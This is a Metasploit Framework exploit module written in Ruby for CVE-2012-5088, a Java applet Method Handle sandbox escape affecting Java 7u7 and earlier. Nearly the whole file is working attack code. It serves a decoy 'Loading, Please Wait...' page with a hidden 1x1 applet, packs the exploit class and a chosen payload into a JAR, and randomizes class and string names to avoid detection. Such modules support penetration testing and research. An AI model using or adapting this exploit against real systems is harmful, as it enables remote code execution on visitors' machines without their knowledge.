Java Applet Method Handle Remote Code Execution



##

# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpServer::HTML
    include Msf::Exploit::EXE

    include Msf::Exploit::Remote::BrowserAutopwn
    autopwn_info({ :javascript => false })

    def initialize( info = {} )

        super( update_info( info,
            'Name'          => 'Java Applet Method Handle Remote Code Execution',
            'Description'   => %q{
                    This module abuses the Method Handle class from a Java Applet to run arbitrary
                Java code outside of the sandbox. The vulnerability affects Java version 7u7 and
                earlier.
            },
            'License'       => MSF_LICENSE,
            'Author'        =>
                [
                    'Unknown', # Vulnerability discovery at security-explorations.com
                    'juan vazquez' # Metasploit module
                ],
            'References'    =>
                [
                    [ 'CVE', '2012-5088' ],
                    [ 'URL', '86352' ],
                    [ 'BID', '56057' ],
                    [ 'URL', 'http://www.security-explorations.com/materials/SE-2012-01-ORACLE-5.pdf' ],
                    [ 'URL', 'http://www.security-explorations.com/materials/se-2012-01-report.pdf' ]
                ],
            'Platform'      => [ 'java', 'win', 'osx', 'linux' ],
            'Payload'       => { 'Space' => 20480, 'DisableNops' => true },
            'Targets'       =>
                [
                    [ 'Generic (Java Payload)',
                        {
                            'Platform' => ['java'],
                            'Arch' => ARCH_JAVA,
                        }
                    ],
                    [ 'Windows x86 (Native Payload)',
                        {
                            'Platform' => 'win',
                            'Arch' => ARCH_X86,
                        }
                    ],
                    [ 'Mac OS X x86 (Native Payload)',
                        {
                            'Platform' => 'osx',
                            'Arch' => ARCH_X86,
                        }
                    ],
                    [ 'Linux x86 (Native Payload)',
                        {
                            'Platform' => 'linux',
                            'Arch' => ARCH_X86,
                        }
                    ],
                ],
            'DefaultTarget'  => 0,
            'DisclosureDate' => 'Oct 16 2012'
        ))
    end


    def setup
        path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2012-5088", "Exploit.class")
        @exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
        path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2012-5088", "B.class")
        @loader_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }

        @exploit_class_name = rand_text_alpha("Exploit".length)
        @exploit_class.gsub!("Exploit", @exploit_class_name)
        super
    end

    def on_request_uri(cli, request)
        print_status("handling request for #{request.uri}")

        case request.uri
        when /\.jar$/i
            jar = payload.encoded_jar
            jar.add_file("#{@exploit_class_name}.class", @exploit_class)
            jar.add_file("B.class", @loader_class)
            metasploit_str = rand_text_alpha("metasploit".length)
            payload_str = rand_text_alpha("payload".length)
            jar.entries.each { |entry|
                entry.name.gsub!("metasploit", metasploit_str)
                entry.name.gsub!("Payload", payload_str)
                entry.data = entry.data.gsub("metasploit", metasploit_str)
                entry.data = entry.data.gsub("Payload", payload_str)
            }
            jar.build_manifest

            send_response(cli, jar, { 'Content-Type' => "application/octet-stream" })
        when /\/$/
            payload = regenerate_payload(cli)
            if not payload
                print_error("Failed to generate the payload.")
                send_not_found(cli)
                return
            end
            send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
        else
            send_redirect(cli, get_resource() + '/', '')
        end

    end

    def generate_html
        html  = %Q|<html><head><title>Loading, Please Wait...</title></head>|
        html += %Q|<body><center><p>Loading, Please Wait...</p></center>|
        html += %Q|<applet archive="#{rand_text_alpha(8)}.jar" code="#{@exploit_class_name}.class" width="1" height="1">|
        html += %Q|</applet></body></html>|
        return html
    end

end